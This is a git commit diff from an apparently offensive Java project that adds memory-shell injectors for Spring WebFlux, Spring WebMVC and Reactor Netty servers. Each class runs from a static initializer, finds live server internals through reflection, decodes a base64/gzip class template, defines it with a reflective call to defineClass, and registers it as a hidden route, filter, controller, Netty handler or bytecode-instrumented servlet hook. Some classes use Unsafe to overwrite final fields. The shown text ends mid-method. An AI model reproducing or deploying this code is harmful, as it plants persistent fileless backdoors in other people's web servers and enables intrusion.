refactor: merge memshell module

This commit is contained in:
ReaJason
2025-06-07 13:31:18 +08:00
parent 82f955e419
commit 83f9200c89
40 changed files with 42 additions and 92 deletions
+5 -2
View File
@@ -7,8 +7,8 @@ java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
@@ -16,4 +16,7 @@ dependencies {
implementation 'org.ow2.asm:asm-commons'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
implementation 'io.projectreactor.netty:reactor-netty-core'
}
@@ -0,0 +1,166 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.reactive.function.server.*;
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class SpringWebFluxHandlerFunctionInjector {
static {
new SpringWebFluxHandlerFunctionInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxHandlerFunctionInjector() {
try {
Object webHandler = getWebHandler();
Object functionObj = getShell();
inject(webHandler, functionObj);
} catch (Exception e) {
e.printStackTrace();
}
}
public Object getWebHandler() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object webHandler, Object functionObj) throws Exception {
Object handler = getFieldValue(webHandler, "delegate");
List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
RouterFunctionMapping routerFunctionMapping = null;
for (Object handlerMapping : handlerMappings) {
if (handlerMapping.getClass().getName().contains("RouterFunctionMapping")) {
routerFunctionMapping = (RouterFunctionMapping) handlerMapping;
break;
}
}
RouterFunction<?> routerFunction = routerFunctionMapping.getRouterFunction();
RouterFunction<ServerResponse> newRouterFunction = RouterFunctions.route(RequestPredicates.path(getUrlPattern()), ((HandlerFunction) functionObj));
if (routerFunction == null) {
routerFunction = newRouterFunction;
RouterFunctions.changeParser(routerFunction, routerFunctionMapping.getPathPatternParser());
} else {
try {
// 缺陷,没法遍历所有的 RouterFunction 来进行判断,所以一个服务每一次注入都尽量更改 urlPattern
HandlerFunction<?> handlerFunction = (HandlerFunction<?>) getFieldValue(routerFunction, "handlerFunction");
if (handlerFunction.getClass().getName().equals(getClassName())) {
System.out.println("routerFunction already injected");
return;
}
} catch (Exception ignored) {
}
routerFunction = newRouterFunction.andOther(routerFunction);
}
Field field = routerFunctionMapping.getClass().getDeclaredField("routerFunction");
field.setAccessible(true);
field.set(routerFunctionMapping, routerFunction);
System.out.println("routerFunction inject successful");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,158 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.server.ServerWebExchange;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class SpringWebFluxHandlerMethodInjector {
static {
new SpringWebFluxHandlerMethodInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxHandlerMethodInjector() {
try {
Object webHandler = getWebHandler();
Object handlerMethod = getShell();
inject(webHandler, handlerMethod);
} catch (Exception e) {
e.printStackTrace();
}
}
public Object getWebHandler() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object webHandler, Object handlerMethod) throws Exception {
Object handler = getFieldValue(webHandler, "delegate");
List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
RequestMappingHandlerMapping requestMappingHandlerMapping = null;
for (Object handlerMapping : handlerMappings) {
if (handlerMapping.getClass().getName().contains("RequestMappingHandlerMapping")) {
requestMappingHandlerMapping = (RequestMappingHandlerMapping) handlerMapping;
break;
}
}
Collection<HandlerMethod> values = requestMappingHandlerMapping.getHandlerMethods().values();
Method method = handlerMethod.getClass().getMethod("invoke", ServerWebExchange.class);
for (HandlerMethod value : values) {
if (value.getMethod().equals(method)) {
System.out.println("handlerMethod already injected");
return;
}
}
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
invokeMethod(requestMappingHandlerMapping, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handlerMethod, method, requestMappingInfo});
System.out.println("handlerMethod inject successful");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,145 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelPipeline;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
static {
new SpringWebFluxNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxNettyHandlerInjector() {
try {
Object nettyServer = getNettyServer();
handlerClass = getShellClass();
inject(nettyServer);
} catch (Exception e) {
e.printStackTrace();
}
}
private Class<?> handlerClass;
public Object getNettyServer() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
return thread;
}
}
return null;
}
private Class<?> getShellClass() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
return classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
}
public void inject(Object nettyServer) throws Exception {
Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
setFieldValue(config, "doOnChannelInit", this);
System.out.println("netty handler injected successfully");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
@Override
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
ChannelPipeline pipeline = channel.pipeline();
try {
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.FilteringWebHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class SpringWebFluxWebFilterInjector {
static {
new SpringWebFluxWebFilterInjector();
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxWebFilterInjector() {
try {
FilteringWebHandler webHandler = getWebHandler();
Object filter = getShell();
inject(webHandler, filter);
} catch (Exception e) {
e.printStackTrace();
}
}
public FilteringWebHandler getWebHandler() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
return (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
DefaultWebFilterChain chain = (DefaultWebFilterChain) getFieldValue(webHandler, "chain");
List<WebFilter> filters = new ArrayList<>(chain.getFilters());
for (Object o : filters) {
if (o.getClass().getName().equals(getClassName())) {
System.out.println("filter already injected");
return;
}
}
filters.add(0, ((WebFilter) filter));
DefaultWebFilterChain newChain = new DefaultWebFilterChain(chain.getHandler(), filters);
setFinalField(webHandler, "chain", newChain);
System.out.println("filter inject successful");
}
public void setFinalField(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object offset = unsafe.getClass().getMethod("objectFieldOffset", Field.class).invoke(unsafe, field);
unsafe.getClass().getMethod("putObject", Object.class, long.class, Object.class).invoke(unsafe, obj, offset, value);
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,204 @@
package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringWebMvcControllerHandlerInjector {
static {
new SpringWebMvcControllerHandlerInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebMvcControllerHandlerInjector() {
try {
Object context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext");
}
}
@SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
}
}
return context;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object controller) throws Exception {
Class<?> beanNameUrlHandlerMappingClass = null;
try {
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
} catch (ClassNotFoundException e) {
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
}
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
if (handlerMap.get(getUrlPattern()) != null) {
System.out.println("controller already injected");
return;
}
handlerMap.put(getUrlPattern(), controller);
System.out.println("controller injected successfully");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
}
@@ -0,0 +1,202 @@
package com.reajason.javaweb.memshell.injector.springwebmvc;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
private static final String TARGET_METHOD_NAME = "service";
public static String getClassName() {
return "{{advisorName}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new SpringWebMvcFrameworkServletAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
}
@@ -0,0 +1,196 @@
package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class SpringWebMvcInterceptorInjector {
static {
new SpringWebMvcInterceptorInjector();
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebMvcInterceptorInjector() {
try {
Object context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext");
}
}
@SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
